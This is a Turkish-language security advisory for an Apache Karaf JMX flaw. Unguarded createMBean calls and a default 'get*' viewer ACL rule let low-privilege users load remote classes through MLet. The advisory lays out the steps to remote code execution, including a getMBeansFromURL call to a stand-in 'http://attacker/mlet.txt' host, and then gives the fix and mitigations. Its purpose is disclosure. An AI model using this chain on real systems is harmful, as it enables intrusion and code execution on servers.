CVE-2026-92142
Açıklama
Apache Karaf, uzak JMX bağlayıcısı (varsayılan olarak 1099 ve 44444 portlarında etkin olan RMI registry/server) üzerinden çağrılan MBean işlemleri üzerinde rol tabanlı erişim kontrolü (RBAC) uygulayan KarafMBeanServerGuard tarafından korunan bir JMX MBeanServer sunmaktadır. Koruyucu, MBeanServer etrafında bir java.lang.reflect.Proxy olarak uygulanmıştır ve yalnızca MBeanInvocationHandler#guarded içinde tanımlanan sabit bir işlem adı listesini RBAC kontrolüne iletir: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); MBean yaşam döngüsü işlemleri olan MBeanServer#createMBean, #registerMBean ve #unregisterMBean bu listede yer almamaktadır. etc/jmx.acl.*.cfg dosyasında yapılandırılan rollerden bağımsız olarak, bu yöntemlere yapılan çağrılar hiçbir rol kontrolü yapılmaksızın doğrudan temel MBeanServer'a iletilir. Sonuç olarak, sadece en düşük yetkili "viewer" rolüne sahip kullanıcılar da dahil olmak üzere JMX uç noktasına kimlik doğrulaması yapabilen herhangi bir kullanıcı; herhangi bir yetkilendirme kontrolü veya denetim günlüğü kaydı olmaksızın (KarafMBeanServerGuard içindeki günlükleme yalnızca bu baypasın asla ulaşmadığı RBAC reddi yolunda gerçekleşir), rastgele bir sınıfı MBean olarak örneklendirmek için createMBean() ve ardından onu tekrar kaldırmak için unregisterMBean() yöntemlerini çağırabilir. Bu durum önemlidir çünkü standart bir JDK MBean olan javax.management.loading.MLet bu şekilde örneklendirilebilir. MLet, uzak bir sınıf yükleyici (classloader) gibi davranır: getMBeansFromURL(URL) işlemi, saldırgan tarafından kontrol edilen bir URL'den bir Mlet metin dosyası getirir ve burada listelenen sınıfları hedef JVM'de yeni MBean'ler olarak örneklendirip kaydeder. Bu işleme erişim hala KarafMBeanServerGuard'ın mevcut "invoke" kontrolünden geçer, ancak varsayılan etc/jmx.acl.cfg, salt okunur getter'lar için tasarlanmış bir sezgisellik olan "get* = viewer" joker karakter kuralıyla eşleşen herhangi bir yöntem adına "viewer" rolüne izin verir. "getMBeansFromURL" ismi "get" ile başladığı için bu kuralyla eşleşir; dolayısıyla varsayılan bir kurulum, MLet'i belirten Karaf'a özgü herhangi bir ACL olmadan "viewer" çağrıcılarına bunu çağırma izni verir. createMBean boşluğu ile birleştiğinde, bu durum "viewer" rolündeki bir JMX istemcisine Karaf JVM'sine uzaktan kod çalıştırma yolu sağlar: * Herhangi bir roldeki (örneğin "viewer") herhangi bir kullanıcı olarak JMX'e kimlik doğrulaması yapılır. * mbs.createMBean("javax.management.loading.MLet", objectName) GUARDED_OPERATIONS listesinde değildir, RBAC kontrolü yapılmaz, MLet örneklendirilir ve kaydedilir. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) korunmaktadır, ancak yöntem adı varsayılan "get* = viewer" ACL kuralıyla eşleştiği için izin verilir. * Uzak .mlet dosyası alınır ve listelenen sınıflar yeni MBean'ler olarak yüklenip kaydedilerek Karaf JVM'sinde saldırgan tarafından sağlanan kod çalıştırılır. * mbs.unregisterMBean(objectName) daha sonra MLet'i kaldırmak için kullanılabilir; bu da GUARDED_OPERATIONS listesinde değildir, RBAC kontrolü ve denetim izi yoktur. Düzeltme; createMBean, registerMBean ve unregisterMBean yöntemlerini korunan işlemler listesine ekler, bunlar için gerekli rolleri ObjectName ve (createMBean/registerMBean için) MBean sınıf adına göre jmx.acl* yapılandırmasından çözer ve her üç işlemi de "admin" rolüyle kısıtlayan varsayılan etc/jmx.acl.cfg girişleri sunar. Bu, dağıtımların şu şekilde sınıf adına özel kurallar yazmasına da olanak tanır: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf kullanıcıları, yayınlandığında mümkün olan en kısa sürede 4.4.12 veya 4.5.0 veya daha yeni sürümlere yükseltmelidir. Güncelleme mevcut olana kadar, JMX RMI registry/server portlarına (1099/44444) ağ erişimi güvenilen ana bilgisayarlarla sınırlandırılmalı veya "admin" dışındaki JMX kimlik bilgileri verilmekten kaçınılmalıdır.
Nasıl düzeltilir
- apache karaf4.4.12 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| apache karaf | v < 4.4.12 | 4.4.12 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.